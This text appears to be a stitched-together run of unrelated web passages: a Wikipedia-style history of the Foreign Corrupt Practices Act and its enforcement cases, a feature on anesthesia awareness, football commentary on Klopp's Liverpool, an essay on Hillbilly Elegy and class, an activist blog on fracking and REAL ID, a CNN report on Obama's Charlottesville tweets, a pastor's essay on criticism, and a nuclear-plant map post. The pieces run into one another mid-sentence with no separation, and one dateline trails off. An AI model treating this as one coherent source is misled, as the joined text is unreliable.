In response to these high profile revelations, Congress enacted the FCPA to bring a halt to the bribery of foreign officials and to restore public confidence in the integrity of the American business system. The Act was signed into law by President Jimmy Carter on December 19, 1977. The first criminal enforcement action under the Act was against Finbar Kenny.[9] Kenny had advanced Sir Albert Henry, Prime Minister of the Cook Islands, $337,000 from postage stamp revenue for Henry's re-election campaign.[10] In 1979, Kenny became the first American to plead guilty of violating the FCPA, and was fined $50,000.[10]
The Act was first amended by the Omnibus Trade and Competitiveness Act of 1988, where Title V is known as the 'Foreign Corrupt Practices Act Amendments of 1988'. It introduced a "knowing" standard in order to find violations of the Act, encompassing "conscious disregard" and "willful blindness." Other amendments were for "bona fide", "reasonable" and lawful gifts under the laws of the foreign country.[11]
The second amendment was the International Anti-Bribery Act of 1998 which was designed to implement the OECD Anti-Bribery Convention—i.e., to include certain foreign persons and extending the scope beyond U.S. borders.
The FCPA dominated international anti-corruption enforcement from its introduction until around 2010 when other countries began introducing broader and more robust legislation, notably the United Kingdom Bribery Act 2010.[12][13] The International Organization for Standardization introduced an international anti-bribery management system standard in 2016.[14] In recent years, cooperation in enforcement action between countries has increased.[15]
Enforcement [ edit ]
The Securities and Exchange Commission (SEC) and the Department of Justice are both responsible for enforcing the FCPA. This is because the FCPA both amends an SEC Act and the criminal code. The SEC enforces the Act for companies it regulates and the Department of Justice enforces the bill regarding all other domestic companies. This split was criticized even before the act was passed.[7]:10–11 In 2010 the SEC created a specialized unit for FCPA enforcement.[16] In 2012, the SEC and the DOJ issued their first joint guide to the FCPA.[17]
In April 2017, Attorney General Jeff Sessions traveled to an ethics lawyers conference to assure them that he would continue prosecutions under the FCPA, regardless of new SEC Chairman Jay Clayton's expressed skepticism and of President Donald Trump's comments that it is a "horrible law" and "the world is laughing at us".[18][19]
Requirements [ edit ]
The anti-bribery provisions of the FCPA make it unlawful for a U.S. person, and certain foreign issuers of securities, to make a payment to a foreign official for the purpose of obtaining or retaining business for or with, or directing business to, any person. Since the 1998 Amendment of FCPA they also apply to foreign firms and persons who take any act in furtherance of such a corrupt payment while in the U.S. The meaning of foreign official is broad. For example, an owner of a bank who is also the minister of finance would count as a foreign official according to the U.S. government. Doctors at government-owned or managed hospitals are also considered to be foreign officials under the FCPA, as is anyone working for a government-owned or managed institution or enterprise. Employees of international organizations such as the United Nations are also considered to be foreign officials under the FCPA. A 2014 federal appellate court decision has provided guidance on how the term "foreign official" is defined under FCPA.[20]
Because the Act concerns the intent of the bribery rather than the amount, there is no requirement of materiality. Offering anything of value as a bribe, whether cash or non-cash items, is prohibited.
The FCPA also requires companies whose securities are listed in the U.S. to meet its accounting provisions.[21] These accounting provisions operate in tandem with the anti-bribery provisions of the FCPA, and require respective corporations to make and keep books and records that accurately and fairly reflect the transactions of the corporation and to devise and maintain an adequate system of internal accounting controls. An increasing number of corporations are taking additional steps to protect their reputation and reduce their exposure by employing the services of due diligence companies tasked with vetting third party intermediaries and identifying easily overlooked government officials embedded in otherwise privately held foreign firms. This strategy is one element of an effective FCPA Compliance Program, as it shows a sincere attempt to avoid business situations where high risk (prior history or proximity to unethical behavior) individuals are concerned.[citation needed]
Regarding payments to foreign officials, the act draws a distinction between bribery and facilitation or "grease payments", which may be permissible under the FCPA, but may still violate local laws. The primary distinction is that grease payments or facilitation payments are made to an official to expedite his performance of the routine duties he is already bound to perform. The exception focuses on the purpose of the payment rather than on its value.Payments to foreign officials may be legal under the FCPA if the payments are permitted under the written laws of the host country. Certain payments or reimbursements relating to product promotion may also be permitted under the FCPA.[citation needed]
A U.S. company acquiring a foreign firm could face successor liability for FCPA violations committed by the foreign firm prior to being acquired.[22] Generally, acquiring companies may be liable as a successor for pre-existing FCPA violations committed by an acquired company where those violations were subject to the FCPA's jurisdiction when committed.[23] This position was further confirmed by the DOJ in a 2014 opinion stating that pre-acquisition conduct by a foreign target company without a jurisdictional nexus to the U.S. would not be subject to FCPA enforcement.[24]
Anti-bribery/anti-corruption (ABAC) solutions [ edit ]
Businesses increasingly focus on their core competencies, and as a result engage more third parties to provide critical business functions. Companies do not have direct control over their third-party providers, which expose them to regulatory and reputational risk of FCPA violations by those third parties.[25] Under the FCPA, businesses are accountabile for activities involving both their internal and external relationships. Companies that operate internationally, or that engage third parties in countries with a high Corruption Perceptions Index, are especially at risk. Many companies have now adopted "anti-bribery/anti-corruption" (ABAC) solutions to combat this risk and help protect themselves from fines and reputational damage.
ABAC compliance solutions are a subset of third party management. These systems can automatically manage third party information and monitor their ongoing activities in compliance with FCPA regulation.[26]
Application [ edit ]
The FCPA provides the DoJ and the SEC discretion to pursue international bribery. While several companies and individuals have been prosecuted for violating the FCPA, the most prominent industries or sectors are pharmaceuticals, medical device, chemicals, energy and construction.[27]
Stronger DOJ and SEC enforcement has increased the prominence of the FCPA from 2010 onwards.[28] The SEC website shows a complete list of enforcement cases since 1978.[29] Notable select cases of the application of FCPA since 2008 are with ALCOA, Biomet, Bizjet, Hewlett Packard Company, KBR, Marubeni Corporation, News Corporation, Siemens, Smith & Nephew and Walmart de Mexico as follows:
In 2008, Siemens AG paid a $450 million fine for violating the FCPA. This is one of the largest penalties ever collected by the DOJ for an FCPA case.[30]
In 2012, Japanese firm Marubeni Corporation paid a criminal penalty of US$54.6 million for FCPA violations when acting as an agent of the TKSJ joint venture, which comprised Technip, Snamprogetti Netherlands B.V., Kellogg Brown & Root Inc., and JGC Corporation. Between 1995 and 2004, the joint venture won four contracts in Nigeria worth more than US$6 billion, as a direct result of having paid US$51 million to Marubeni to be used to bribe Nigerian government officials.[31]
In 2012 Smith & Nephew paid US$22.2 million to the DOJ and SEC, and Bizjet International Sales and Support Inc. paid US$11.8 million to the DOJ for bribery of foreign government officials. Both companies entered into a deferred prosecution agreement.[32][33]
In March 2012, Biomet Inc. paid a criminal fine of US$17.3 million to resolve charges of FCPA violations and US$5.5 million in disgorgement of profits and pre-judgment interest to the SEC.[34]
In January 2014, ALCOA paid $175 million in disgorgement of revenues and a fine of $209 million to settle charges that its Australian bauxite mining subsidiary retained an agent that made bribes to government officials in Bahrain and to officers of Aluminum Bahrain B.S.C. to secure long-term contracts to supply the company with bauxite ore.[35]
In March 2014, Marubeni Corporation agreed with the DOJ to pay a US$88 million fine after pleading guilty to taking part in a scheme to pay bribes to high ranking Indonesian officials in order to secure a lucrative power project.[36]
On February 24, 2015, the Goodyear Tire and Rubber Company "Goodyear" agreed to pay more than $16 million to settle FCPA charges that two of its African subsidiaries allegedly paid $3.2 million in bribes that generated $14,122,535 in illicit profits.[37] The SEC FCPA charges involved Goodyear subsidiaries in Kenya and Angola for allegedly paying bribes to government and private-sector workers in exchange for sales in each country.[38] According to the SEC because "Goodyear did not prevent or detect these improper payments because it failed to implement adequate FCPA compliance controls at its subsidiaries" and, for the Kenyan subsidiary, "because it failed to conduct adequate due diligence" prior to its acquisition. It was not alleged that Goodyear had any involvement with or knowledge of its subsidiaries' improper conduct.[39]
Charges [ edit ]
In 2009, former Representative William J. Jefferson, Democrat of Louisiana, was charged with violating the FCPA by bribing African governments for business interests.[40]
In 2010 the DOJ and the SEC were investigating whether Hewlett Packard Company executives paid about $10.9 million in bribery money between 2004 and 2006 to the Prosecutor General of Russia "to win a €35 million contract to supply computer equipment throughout Russia."[41][42] On September 11, 2014, HP Russia pleaded guilty before U.S. District Judge D. Lowell Jensen of the Northern District of California to conspiracy and substantive violations of the anti-bribery and accounting provisions of the FCPA. The court sentenced HP Russia to pay a $58,772,250 fine.[43]
In July 2011, the DOJ opened an inquiry into the News International phone hacking scandal that brought down News of the World, the recently closed UK tabloid newspaper. In cooperation with the Serious Fraud Office (United Kingdom), the DOJ was to examine whether News Corporation violated the FCPA by bribing British police officers.[44] Nine police officers were convicted including a senior officer in the Met counter-terrorism command, Det Ch Insp April Casburn, former Met anti-terrorism officer Timothy Edwards, former police officer Simon Quinn, former Met officer Paul Flattley and Scott Chapman, an ex-prison officer.[45]
An April 2012 article in the New York Times reported that a former executive of Walmart de México y Centroamérica alleged in September 2005 that Walmart de Mexico had paid bribes to officials throughout Mexico in order to obtain construction permits, that Walmart investigators found credible evidence that Mexican and American laws had been broken, and that Walmart executives in the U.S. "hushed up" the allegations.[46][47] According to an article in Bloomberg, Wal-Mart's "probe of possible bribery in Mexico may prompt executive departures and steep U.S. government fines if it reveals senior managers knew about the payments and didn't take strong enough action, corporate governance experts said."[48] Eduardo Bohorquez, the director of Transparencia Mexicana, a "watchdog" group in Mexico, urged the Mexican government to investigate the allegations.[49] Wal-Mart and the US Chamber of Commerce had participated in a campaign to amend FCPA; according to proponents, the changes would clarify the law, while according to opponents, the changes would weaken the law.[50]
Other cases are with Avon Products, Invision Technologies, BAE Systems, Baker Hughes, Daimler AG, Monsanto, Halliburton, Titan Corporation, Triton Energy Limited, Lucent Technologies.[citation needed]
See also [ edit ]
References [ edit ]Over time, Campbell’s most severe symptoms subsided, and she learned how to cope with those that remained. She managed to move on, become an accountant, and start a family of her own, but she wasn’t cured. Her nightmares continued, and nearly anything could trigger a panic attack: car horns, sudden bright lights, wearing tight-fitting pants or snug collars, even lying flat in a bed. She explored the possibility of post-traumatic stress disorder with her therapists, but could not identify a triggering event. One clue that did eventually surface, though, hinted at a possibly traumatic experience. During a session with a hypnotherapist, Campbell remembered an image, accompanied by an acute feeling of fear, of a man looming over her.
Then, one fall afternoon in 2006, four decades after her symptoms began, Campbell met an anesthesiologist at a hypnotherapy workshop. Over lunch, she found herself telling the anesthesiologist about her condition. She mentioned the appendectomy she’d had not long before everything changed.
The anesthesiologist was intrigued. He told her about a phenomenon that had sometimes accompanied early gas anesthetics, particularly ether, in which patients reacted to the gas by coughing and choking, as if they were suffocating.
The comment sparked something in Campbell. “I started having all these flashes,” she remembers. “The flashes were me being on the table. The flashes were of the room. The flashes were of the bright lights over me.” A man—the same one from her memory?—was there. At some point, the room went black. “And then I got to the place where I was on the table, and I just remember feeling terror,” she says. “That’s all I remember. I don’t see anything. I don’t feel anything. It’s absolute, abject terror. And the feeling that I am dying.” At that moment, Campbell realized that something had happened to her during her appendectomy, something that changed her forever. After several years of investigation, she figured it out: she had woken up on the table.
This experience is called “intraoperative recall” or “anesthesia awareness,” and it’s more common than you might think. Although studies diverge, most experts estimate that for every 1,000 patients who undergo general anesthesia each year in the United States, one to two will experience awareness. Patients who awake hear surgeons’ small talk, the swish and stretch of organs, the suctioning of blood; they feel the probing of fingers, the yanks and tugs on innards; they smell cauterized flesh and singed hair. But because one of the first steps of surgery is to tape patients’ eyes shut, they can’t see. And because another common step is to paralyze patients to prevent muscle twitching, they have no way to alert doctors that they are awake.
Many of these cases are benign: vague, hazy flashbacks. But up to 70 percent of patients who experience awareness suffer long-term psychological distress, including PTSD—a rate five times higher than that of soldiers returning from Iraq and Afghanistan. Campbell now understands that this is what happened to her, although she didn’t believe it at first. “The whole idea of anesthesia awareness seemed over-the-top,” she told me. “It took years to begin to say, ‘I think this is what happened to me.’ ” She describes her memories of the surgery like those from a car accident: the moments before and after are clear, but the actual event is a shadowy blur of emotion. She searched online for people with similar experiences, found a coalition of victims, and eventually traveled up the East Coast to speak with some of them. They all shared a constellation of symptoms: nightmares, fear of confinement, the inability to lie flat (many sleep in chairs), and a sense of having died and returned to life. Campbell (whose name and certain other identifying details have been changed) struggles especially with the knowledge that there is no way for her to prove that she woke up, and that many, if not most, people might not believe her. “Anesthesia awareness is an intrapersonal event,” she says. “No one else sees it. No one else knows it. You’re the only one.”Heavy metal football is what Jurgen Klopp likes and he's brought it to the Premier League.
Liverpool are intense, relentless and look incredibly threatening this season - with only a few smart summer signings, Klopp has created a fast-paced attacking machine, crammed with creative goalscorers and devastating on the counter.
They might actually be the most fun team to watch in the Premier League at the moment. So how has he done it?
Intensity and the gegenpress
We were told Klopp would bring the gegenpress (the counter-counter attack) and doubts were cast over whether the method would actually make a difference in a league where every single player is a finely tuned super athlete and expected to perform at 100% intensity in every minute of every day.
Gegenpressing works.
When Liverpool go forward, they do so in numbers and when they lose the ball, they win it back immediately in numbers.AUBURN, Alabama – |
well as a few nonwhites whose quiet struggles bulk even larger in retrospect. Perhaps once upon a time, during my brief libertarian undergraduate phase, I might have characterized my upbringing as Vance does his: an unstinting immersion in rural benightedness, backwardness, domestic violence, and outright criminality that ceased only when I pulled up my pants, tucked in my shirt, and started making good grades.
Vance’s mother had repeated brushes with the law, leading to his placement with his grandparents; the same thing happened to me after a grand jury indicted one of my parents in an embarrassingly public trial. Pain is subjective and the psychic toll of abuse cannot be quantified, but going solely by Vance’s own disclosures, my brother and I endured far more controlled beatings and outright thrashings in a single week than he did over the course of an entire childhood—but what do such “who had it worse?” contests matter when that treatment had no discernible impact on my life save instilling a certain knee-jerk skittishness I’ve never been fully able to conceal?
And perhaps in graduate school I might have expressed confusion, even consternation, at the odd folkways and mores of the educated upper class, as Vance does regarding interactions with fellow students and potential employers while attending Yale Law School. I might have briefly thought, as Holly Genovese observes in her recent essay “Coding ‘White Trash’ in Academia,” that “my differences—in public education and cultural knowledge—couldn’t be undone,” with the result being “an in-betweenness, a lack of belonging.” Or, as California-born bumpkin turned Harvard philosopher Josiah Royce put it a century earlier, “I was never a person cultivated in any aesthetic sense, and I remain more barbarous as to such matters than can easily be suspected.”
My father, whose Job-like childhood hardships amid the West Virginia coalfields somehow beggared mine or Vance’s, would have laughed at such navel-gazing. Having first escaped from poverty on a college football scholarship and later become the owner of a franchise car dealership, he was fond of remarking how “anything is possible in this country for a white man.” He said this because he was an unrepentant if unmindful racist, like many other whites of his generation who hailed from rural Appalachia, but the point stands. Anything is indeed at least theoretically possible in the United States for a white man.
This is not meant to diminish the stories of Vance, Genovese, or myself. However, once our accents flattened and we learned which forks to use at the dinner table, our odds of total assimilation increased dramatically. That is David Roediger’s central assertion in The Wages of Whiteness: during the course of our existence as American whites, a category created as the ancestral habits and languages of our immigrant forebears fell away and left behind only a white skin, we could avail ourselves of certain inherent ideological advantages even if we lacked pecuniary ones.
Instead of grappling with the complexities of this realization, Vance instead uses the latter half of Hillbilly Elegy to retrace the steps he took, beginning with enlistment in the Marine Corps after a turbulent high school experience, to escape the doomed area where so many of his unfortunate acquaintances still reside. This comes as a disappointment, given the skillful way he sketches his “hillbilly royalty” relatives (some of his ancestors participated in the legendary backwoods Hatfield-McCoy feud) and their dysfunctional yet strangely admirable existences. His Ohio is a world I knew all too well but lacked the confidence to ever consider exploring, because what would such an exploration even look like? Vance, I hoped, might have what it takes to untangle this Gordian knot of identity.
But this was not to be. Instead of ambivalence and ambiguity, we are eventually treated to some garden-variety libertarian moralizing, with Vance positing that merit—and merit alone!—as the way out of the morass of poverty and indolence that characterizes white -rash life. For a lawyer with a thorough grounding in argumentation, perhaps this path was unavoidable: the simplest answer, whether presented to a jury or judge, is typically the winning one. But in a vast postindustrial society where every participant in the market-capitalist marathon is given a staggered start based on his or her race, gender identity, sexual identity, or economic class, advancement by merit is not so much an answer as a beguiling illusion to those who commence the race in more advantaged positions. Some start on third base and proceed blithely through life convinced they hit a triple, while others, Vance among them, advance from first to second on a throwing error yet believe effort alone helped them swat a ground-rule double.
From there, it is an easy enough thing to blame those who lag behind, as Vance does when urging that poor whites must change their ways if they wish to attend Yale Law School, hang out with Peter Thiel, and write think pieces for the National Review. There is something gratifying, I suppose, about identifying the “white trash” and then sharing with others how you worked overtime to distance yourself from their scummy world. “Pity no more would be / If we did not make somebody Poor,” observed the poet and social radical William Blake, “And mercy no more could be / If all were as happy as we.” The real benefit of urging less fortunate peers to pull up their pants and tuck in their shirts has more to do with rationalizing one’s own success in an unequal society than with genuinely uplifting the multitudes. After all, without constantly reminding yourself that you got wherever you are by dint of your own exertions, how could you sleep at night?
And many us can’t sleep at night, my late father included. He died two years ago, at the age of seventy-four, but had a nervous breakdown at an automobile-dealers’ convention two decades prior to that. He described the experience as a religious vision, an encounter in his hotel room with a calming “white light” that explained to him he would never have to work again—and he never did. I hated him for this decision to abandon his businesses, because it bankrupted our family and destroyed my very high quality of living, and it was only in recent years, over the course of thousands of e-mails sent to me while I was in graduate school, that he bothered to explain why.
Apparently, after thirty years spent “chasing a buck” while pretending to be something he wasn’t, he was emotionally exhausted. He had done many of the things that J. D. Vance recommended, from changing the way he dressed to curing himself of his many harmful drug addictions, but at heart he remained a “scumbag” who wanted to relocate to Glacier National Park and live out his final years completely hidden from view. For years he had woken up to night terrors of being abused by his “whoreo of an old man,” a sociopathic ex-submariner who brutalized him and his sister but took special pleasure in torturing the stray dogs and cats my father would secretly adopt as pets. Even as he succeeded at sports and business, my father could never shake these early childhood associations. He was prone to reckless and at times criminal behavior, behavior he admitted he greatly preferred to “doing the right thing.”
Once upon a time, if you had called my father white trash, or a more region-specific insult like “hunky,” his thirty-year-old self would have retaliated by administering the beating of a lifetime. He was no “dumb coal patch hunky”—far from it. Like Vance, he was on a fast track to joining the elite, or at least whatever vision of the elite he entertained at the time. He owned a bar, two airplanes, and several car lots; he was a businessman, someone who acted like a “white man” instead of “white trash.” But by the end of his life, he had embraced his origins and admitted without shame that “you can’t change who you are” and that the truly rich, whom he had come to detest, had no use for try-hard parvenus.
That was far too pat; it seemed to me that he was simply a man who had never sorted out his complex identities, in part because he never had a forum for discussing them in a serious way. The question, as yet unaddressed by Vance or anybody else, hangs in the air: if the white trash cannot speak candidly of themselves—if they are only ever spoken of by elites, as Isenberg recounts—how might they hope to speak truth to power?
In a world that increasingly comprises plutocrats and proles, the classes and the masses, the 1 percent and the rest, the need for yet another multifaceted critique from below remains urgent.
Oliver Bateman is a historian and journalist who lives in Pittsburgh.The FRAC Act is back! And CREDO helps you tell your Senator to support it. What does the FRAC Act do? The FRAC Act closes loopholes in the Clean Water Act that gas drillers currently enjoy. Why is that important? Because gas drillers use a method of drilling called "hydrofracturing" -- known popularly as "fracking" -- that pumps dangerous chemicals into the ground, chemicals that wind up in your drinking water. You've seen that scene from Gasland where the fellow lights his drinking water on fire? I rest my case. Meanwhile, Penn Environment tells me that the Department of Energy will hold a hearing tonight in Washington, PA about Marcellus Shale gas drilling. It's at Washington and Jefferson College, 60 South Lincoln Street; the hearing runs from 7-9pm, but if you want to speak, you have to be there at 6.30pm to register. The gas drillers will be busing in their "concerned citizens," so good folks from our side have to go, too. If you can't go, you can still submit a written statement to shalegas at hq dot doe dot gov.
Speaking of Pennsylvania, the regressive state legislature has the chance, and perhaps even the will, to do some real good, by opting out of the federal REAL ID program. In creating a national ID card out of state drivers' licenses, our government would force Pennsylvania to streamline its state DMV database to national standards, and then link said database to all other state DMV databases to create one large national database. Now, if you're an identity thief, which would you rather deal with: a state database with all its state-mandated idiosyncracies, or one big national database? And don't believe the hype that your national ID card would be fake-proof. As anyone in the security business will tell you, any ID can be faked. (As you may know, Bruce Schneier came up with a lot more reasons a national ID card would be a bad idea back in 2004.) The ACLU helps you encourage your legislators to support SB 354, which would block the Commonwealth of Pennsylvania from participating in REAL ID.
Finally, Media Matters provides a petition demanding that advertisers pull all their ads from the Fox News Channel, for all the reasons you might expect. You might call this "starving the beast," except that Fox News also makes good money from cable service providers, and in any case Fox News isn't the entire beast -- News Corp. is the beast, and once upon a time Fox News was one of Mr. Murdoch's money-losing enterprises, a labor of love, I suppose, that News Corp. could absorb as long as Fox's entertainment division made money. So, while shaming advertisers must be done, and doesn't violate any corporation's "rights" -- the First Amendment protects you from your government, not from activists, advertisers, customers, or employers -- we must also remember to support a la carte cable packaging, so we don't have to pay for Fox News if we don't want it in our homes. (You can, of course, amend the Parents' Television Council contact tool to your liking.) Also, we'll need to pass laws preventing corporations from owning media, and vice versa. But that's a long-term project.(CNN) Since leaving office in January, President Barack Obama has used written statements to defend the Affordable Care Act, denounce a decision to withdraw the US from the Paris climate accord, and, most recently, call for peace during Kenya's elections.
When he chose this week to respond to violent white nationalist protests in Charlottesville, Virginia, however, Obama used someone else's words instead of his own.
"'No one is born hating another person because of the color of his skin or his background or his religion...'" Obama wrote in the first of three tweets that quoted Nelson Mandela's autobiography, "Long Walk to Freedom."
"'People must learn to hate, and if they can learn to hate, they can be taught to love,'" read the subsequent dispatches. "'For love comes more naturally to the human heart than its opposite.'"
The first message became the most liked in Twitter's history, according to the social media company. It was sent on August 12, three days before President Donald Trump delivered a breathtaking defense of protesters, some of whom he said were'very fine people,' marching among the neo-Nazis and white supremacists in Virginia.
Obama's tweet was paired with a photo of the former president smiling at a group of children in a window, taken near his youngest daughter's school in 2011.
The viral reach of Obama's message was a reminder of his popularity among Americans nostalgic for the type of reasoned emotion he often brought after national trauma.
But the measured response also reflected the balance all former presidents face when confronted with divisive or charged moments. Ex-presidents often keep their distance from such matters, especially during their successor's first year in office. Offering frequent public comments about a new president's actions can be seen as overly meddlesome and a hindrance to a new White House's ability to function.
"I cannot imagine just how upset both he and (first lady) Michelle Obama are. We know their character, we know their history," said Michael Nutter, the former Democratic mayor of Philadelphia.
"I am sure President Obama would like to say more," Nutter said. "He recognizes, though, where he is in these moments, and his proximity to having just been a president. So he's going to be careful. But those of us who do know him a little bit know where his head and heart is. He'll continue to express himself but it will continue to be in his terms and in his time."
A senior Obama adviser said this week that the former President was unlikely to weigh in directly on Trump's comments, which have drawn widespread condemnation from Republicans, corporate executives, and military leaders.
For Obama, who remains the object of frequent criticism from Trump and his allies in the right-wing media, speaking out overtly could also further galvanize the political base to which Trump is appealing.
As Trump offered a series of equivocal statements on the Charlottesville violence this week, it became clear that condemnation would be swift even from members of his own party, who have rebuked the President with varying degrees of severity.
Those critiquing Trump — at least implicitly — included the two most recent Republican presidents, who said the country must always clearly denounce the types of ideologies that Trump initially avoided criticizing.
"America must always reject racial bigotry, anti-Semitism, and hatred in all forms," wrote Presidents George H.W. Bush and George W. Bush in a statement Wednesday. "As we pray for Charlottesville, we are reminded of the fundamental truths recorded by that city's most prominent citizen in the Declaration of Independence: we are all created equal and endowed by our Creator with unalienable rights."
"We know these truths to be everlasting because we have seen the decency and greatness of our country," the Bushes wrote.
During his own presidency, Obama confronted racially charged matters in different ways. His comments usually sought to acknowledge the country's painful history with race while encouraging reconciliation.
His eulogy after the 2015 church shooting in Charleston, South Carolina, came amid another national debate over Confederate symbols. He said then that the Confederate flag that flew at South Carolina's state capitol was more than a historical remnant.
JUST WATCHED Obama sings 'Amazing Grace' during eulogy for pastor Replay More Videos... MUST WATCH Obama sings 'Amazing Grace' during eulogy for pastor 01:44
"The flag has always represented more than just ancestral pride," he said. "For many, black and white, that flag was a reminder of systemic oppression and racial subjugation. We see that now."
Since January, however, Obama hasn't spoken publicly about race. Obama, along with first lady Michelle Obama, has spent the last several months appearing sporadically at a mix of paid and unpaid speeches. They've both been at work on book projects, and next week their oldest daughter begins college at Harvard.
This fall, he's due to campaign for the Democratic gubernatorial candidate in Virginia, though specific dates for his appearances haven't been set. The protests in Charlottesville, which left three people dead, are expected to upend the race.
Two days before he left office in January, Obama laid out the parameters for his post-presidential life.
"I want to be quiet a little bit and not hear myself talk so darn much. I want to spend precious time with my girls," he said during his final news conference at the White House, before adding that he would make his voice heard when political debates escalated beyond day-to-day matters.
"There's a difference between that normal functioning of politics and certain issues or certain moments where I think our core values may be at stake," he said.
Some of Obama's supporters say the current strife may rise to that level.
"Personally I always want to hear President Obama. We know that if this had taken place a year ago, the country would be in a very very different place," Nutter said. "I'm not asking President Obama to say anything. He can conduct his own affairs. But we know that it would be healing, it would bring this country together."Christians say awful things to one another. I wish I hadn’t had to learn this as the leader of a Christian institution.
In my ministry, I’ve been called all sorts of cruel things: shrill, hysterical, bossy, manipulative, emotionally unstable. I’ve been likened to farm animals. I’ve had Christian colleagues repeat untrue rumors. I’ve had Christian colleagues stand in the sacristy and “joke” about cutting my mic when I speak. I’ve been called a name that is not printable here.
And this is not even counting what people have said about me online, anonymously or without my knowledge.
Navigating these particularly gendered criticisms is especially problematic for women in public Christian leadership. Our gender already puts us in a position of being perceived as overly emotional. Others will presume we’re additionally weak, volatile or angry based on their biases about age, sexuality, perceived abilities, class, educational status and race.
I’m not the only one, or even the most maligned. Yet the more visible my ministry has become, the more pointed people’s opinions have become about how I’m leading.
Most days, this vocation is gratifying and joyful. Sometimes I can barely believe it is my job to meet diverse Christians and amplify stories of grace and reconciliation. I would not trade it for the world.
And yet I’ve struggled to withstand the thousand cuts of public Christian leadership and the verbal assaults intended not for edification but for wounding. I attempt this complicated work of figuring out how to faithfully respond to criticism because I ultimately believe in truth and grace, not just in my institution, but in my own life.
I am trying to find my own particular way to deal with the hurtful things that are said to me and about me, in a manner that aligns with my deepest convictions about the vocation of public Christian leadership and my God-given dignity.
The two most common recommendations I’ve heard: “get a thicker skin” and “ignore it.”
I’ve ruled out both as unhelpful; neither has solved my struggle to put painful words in proper perspective. Moreover, I don’t want to perpetuate the coping mechanisms of prior generations that created the “lone cowboy” model of ministry for women and men alike.
Instead, I have stumbled into a paradoxically feminist strategy for dealing with the pain and isolation of criticism: not “get a thicker skin” but “feel deeply”; not “ignore it” but “share your pain.”
The counsel to “get a thicker skin” has some obvious drawbacks. First, how do you even do that? Do you grow it or train for it? Do you put on more and more layers to distance yourself from all that might harm you, like a New Englander heading outdoors in January?
I have not wanted to bundle myself up against the words of others; a shell keeps out both the cruelty and the delight.
Feeling less is not the answer for me. Instead, I’ve found some solace in feeling more. Principally, I’m indebted to friends such as the Rev. Dr. Theresa Latini, who teaches and models nonviolent communication.
Nonviolent communication calls for “practicing self-empathy”; it means, for example, that in a meeting where I was called shrill, I tried to reach under that accusation to my deepest convictions. I tried to recall my bedrock belief that we are made to be in right relationship with God and one another. I tried to notice how much I longed for a collegial relationship with mutual affirmation and mutual accountability, and how far short of that the present instance was falling.
Trying to unearth my deep need made me feel awkward and self-indulgent at first. Like any change, it took practice. Yet I’ve found that this discipline refocuses me on what I treasure instead of whatever is being thrown at me.
“Ignore it” has drawbacks as well. I try to view criticism in the manner of an Olympic gymnast, throwing out the high and low scores. But ignoring the negative judgment serves only to push it down deeper, where it can fester and become internalized.
Latini describes this as a sort of “lashing in.” She writes: “Rumination like this fosters exhaustion, an inability to make decisions and even depression. It also isolates us from each other.”
Ignoring painful words also forecloses the possibility for edification by legitimate criticism. I have to be spiritually mature enough to own my part in a conflict. Doing so affirms that I can be a woman of dignity, strength and hope, whether or not another person decides to behave in the same way.
When I can see clearly my own belovedness, I can see more clearly what is legitimate and even helpful criticism and what is just nutty.
Rather than ignoring it, I am practicing sharing my pain. I aim to share it in ways that do not replicate the gossip and slander I deplore.
Before a recent meeting where I suspected I was going to be berated, I asked a group of trusted colleagues to pray for me during that time and check in with me afterward. I did not share the details or the person involved but simply asked to be supported in bearing the attack. When the meeting became difficult, I knew that those colleagues were with me at that moment in prayer. And I knew that they would hold me accountable afterward for how I had behaved.
Another time, when the conflict was especially pitched, I brought a colleague with me to witness the accusations. As we sat down, I focused my eyes on my notebook, where I had written, “I can be a woman of dignity, strength and hope.” The toxic words still came, but I kept returning to my affirmation, and I tried to behave accordingly.
I also practice sharing my pain as an intentional strategy to resist the isolation of ministry. I share it with trusted colleagues. I share it with Jesus.
And Jesus shares his pain, too. He resists bearing his grief alone when he says to Peter, James and John, “I am deeply grieved, even to death; remain here, and stay awake with me” (Matthew 26:38 NRSV).
I have learned through my ecumenical ministry among Roman Catholics about devotions to the Sacred Heart of Jesus, in which Jesus’ physical heart is depicted as exposed, crowned with thorns and often pierced. Christ’s heart is not protectively shrouded but rather vulnerably laid bare.
I’ve taken this image to set before my eyes in times of trial, a reminder that my Savior knows the depths of our very human suffering.
I want my leadership to be a reflection of the deep empathy I believe God has for the struggles of human life. When I come to God with all that weighs on me, I’m grateful that God feels deeply. And I’m grateful that Christ, with his tender heart, shares his pain. Should I not live in the same way?Image via Google Earth Screen Grab via Nature
If a nuclear power plant in the US were to have issues, who would be affected? In a partnership between Nature News and Columbia University, we now have a Google map that tells us the population sizes around plants so we can easily scan and see the number of people that could be affected should anything occur at the plants.
The team Power Reactor Information System (PRIS) database run by the International Atomic Energy Agency (IAEA), and Columbia University's NASA Socioeconomic Data and Applications Center to map out in an easy-to-read way, the location and size of nuclear power plants as well as population numbers around those plants.
On the map, population sizes are illustrated with circle size as well as color. Green circles represent less than 500,000 people and on the other side of the scale, red circles represent populations of over 20 million.
It's a little scary to see the amount of impact a plant could have should it face troubles. But there's more than just the US to worry about. The map covers the entire world -- check out impacts a potential meltdown could have in India and China:
Of course, maps like this probably won't do anything to encourage people to move away from a nuclear power plant when scenarios are only "what ifs" but information visualization like this could do something to discourage support of yet more nuclear power plants, and bolster support of renewable energy alternatives -- or at the very least, supplementing power needs with renewable energy instead of a new nuclear power plant. While nuclear is touted as being "safe" and "clean," disasters like Fukushima point out that it may be the case in the best of circumstances, but there's certainly no guarantee. And placement of the plants is a critical part of that "safe" factor -- for example, as TreeHugger Brian Merchant reported, "Diablo Canyon nuclear plant, which sits just miles away from the notoriously active San Andreas fault -- and a mere half-mile from another recently discovered fault -- operated for a year and half with its emergency systems disabled."
PhysOrg aptly points out, "Of course, what's not shown in these maps are confidence measures to show how safe the plants actually are, which even if they did exist, would be based on assumptions and suppositions, likely created by the very same people that were operating them; not exactly a situation that would warm the heart."
You can use Google Earth to scroll around the globe and find more details on location of and population near the various nuclear power plants.
Follow Jaymi on Twitter for more stories like this
More on Nuclear Power
One In Three US Citizens Live 50 Miles Or Less From A Nuclear Reactor
Nuclear Reactors in Earthquake Zones in the U.S. [Map]
No, Nein, Bù - Nuclear Moratorium Spreads Through Europe To ChinaJavier Hernandez: May have to think about leaving United, says Carlos Vela
Vela knows Hernandez well and will come up against his compatriot when Real Sociedad take on Manchester United in the UEFA Champions League on Tuesday.
He is convinced that Hernandez has the ability to flourish at Old Trafford but reckons he may think about leaving if he continues to find himself down the pecking order.
